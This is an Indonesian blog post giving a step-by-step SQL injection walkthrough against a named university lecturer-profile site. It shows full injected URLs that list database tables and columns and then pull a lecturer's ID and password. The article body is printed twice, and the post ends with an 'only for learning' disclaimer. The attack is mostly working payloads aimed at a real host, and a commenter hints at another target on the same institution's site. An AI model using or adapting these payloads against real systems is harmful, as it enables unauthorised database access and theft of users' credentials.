Hacking Situs Amikom
Sebuah situs yang canggih belum tentu memiliki security yang canggih. Buktinya situs amikom, beberapa hari yang lalu sempat di hack, hanya menggunakan teknik yang boleh dibilang cukup kuno. Iya cukup kuno, SQL Injection.
Bahkan ditemukan beberapa bug lainnya yaitu bisa ditembus dengan Cross Site Scripting alias XSS, teknik andalan Dani Firmansyah ketika meng-hack KPU.
Salut buat para pengembang situs amikom, hanya dalam waktu beberapa hari, situs ini telah diperbaiki sehingga bug-bug XSS dan SQL Injection tidak bisa tembus.
Bagaimana SQL Injection Bekerja di situs amikom?
Link di amikom (URL) tergolong masih lemah karena belum dilakukan enskripsi, perhatikan link berikut, http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010
link tersebut digunakan untuk menampilkan halaman dosen dengan nik 190302010.
ketika diberi single quota atau petik tunggal ('), link tersebut akan error
http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010'
Lihat gambar lebih jelas
selanjutnya dilakukan injeksi ke query dengan memanfaatkan object Information_schema.tables untuk melakukan list terhadap tabel-tabel yang ada di database yang sedang dipakai. http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES))--SP_PASSWORD
Tabel yang pertama muncul adalah tabel PROJECTLITBANG
jika sudah mendapatkan 1 tabel, selanjutnya dilakukan list tabel selanjutnya http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN('PROJECTLITBANG')))--SP_PASSWORD
Script di atas akan menghasilkan tabel selanjutnya sampai anda ketemu semua tabel.
Lihat gambar lebih jelas
Jika tabel sudah di list, saatnya melakukan list column masing-masing tabel dengan memanfaatkan object Information_schema.Columns.
perhatikan script untuk melakukan list column tabel profildosen
http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME ='PROFILDOSEN'))--SP_PASSWORD
setelah mendapatkan 1 column NIK, teruskan dengan column selanjutnya dengan menggunakan script http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME ='PROFILDOSEN' AND COLUMN_NAME NOT IN('NIK')))--SP_PASSWORD
Dapat lagi column selanjutnya sampai ketemu column PASS.
Dengan teknik yang ada di atas, anda bisa menebak tabel user untuk login, baik tabel mahasiswa maupun tabel dosen.
Langkah teakhir adalah menebak column user id dan password, dan gunakan script berikut untuk mendapatkan data user id dan password:
http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 NIK %2B'/'%2BPASS FROM PROFILDOSEN WHERE NIK='190302010'))--SP_PASSWORD
Berikut adalah hasil yang didapat:
Lihat gambar lebih jelas
Peringatan: Ini hanya untuk pembelajaran, bukan untuk kejahatan!!!!!
Bahkan ditemukan beberapa bug lainnya yaitu bisa ditembus dengan Cross Site Scripting alias XSS, teknik andalan Dani Firmansyah ketika meng-hack KPU.
Salut buat para pengembang situs amikom, hanya dalam waktu beberapa hari, situs ini telah diperbaiki sehingga bug-bug XSS dan SQL Injection tidak bisa tembus.
Bagaimana SQL Injection Bekerja di situs amikom?
Link di amikom (URL) tergolong masih lemah karena belum dilakukan enskripsi, perhatikan link berikut, http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010
link tersebut digunakan untuk menampilkan halaman dosen dengan nik 190302010.
ketika diberi single quota atau petik tunggal ('), link tersebut akan error
http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010'
Lihat gambar lebih jelas
selanjutnya dilakukan injeksi ke query dengan memanfaatkan object Information_schema.tables untuk melakukan list terhadap tabel-tabel yang ada di database yang sedang dipakai. http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES))--SP_PASSWORD
Tabel yang pertama muncul adalah tabel PROJECTLITBANG
jika sudah mendapatkan 1 tabel, selanjutnya dilakukan list tabel selanjutnya http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN('PROJECTLITBANG')))--SP_PASSWORD
Script di atas akan menghasilkan tabel selanjutnya sampai anda ketemu semua tabel.
Lihat gambar lebih jelas
Jika tabel sudah di list, saatnya melakukan list column masing-masing tabel dengan memanfaatkan object Information_schema.Columns.
perhatikan script untuk melakukan list column tabel profildosen
http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME ='PROFILDOSEN'))--SP_PASSWORD
setelah mendapatkan 1 column NIK, teruskan dengan column selanjutnya dengan menggunakan script http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME ='PROFILDOSEN' AND COLUMN_NAME NOT IN('NIK')))--SP_PASSWORD
Dapat lagi column selanjutnya sampai ketemu column PASS.
Dengan teknik yang ada di atas, anda bisa menebak tabel user untuk login, baik tabel mahasiswa maupun tabel dosen.
Langkah teakhir adalah menebak column user id dan password, dan gunakan script berikut untuk mendapatkan data user id dan password:
http://dosen.amikom.ac.id/index.php?main=profil&IDD=190302010' AND 1=CONVERT(INT,(SELECT TOP 1 NIK %2B'/'%2BPASS FROM PROFILDOSEN WHERE NIK='190302010'))--SP_PASSWORD
Berikut adalah hasil yang didapat:
Lihat gambar lebih jelas
Peringatan: Ini hanya untuk pembelajaran, bukan untuk kejahatan!!!!!
3 Comments:
At 11:19 PM, Anonymous said…
wah, tembus toh?
At 11:59 PM, Anonymous said…
toew oew oew...
At 8:48 PM, Anonymous said…
http://forum.amikom.ac.id/forumv2/ < hihihihi
Post a Comment
<< Home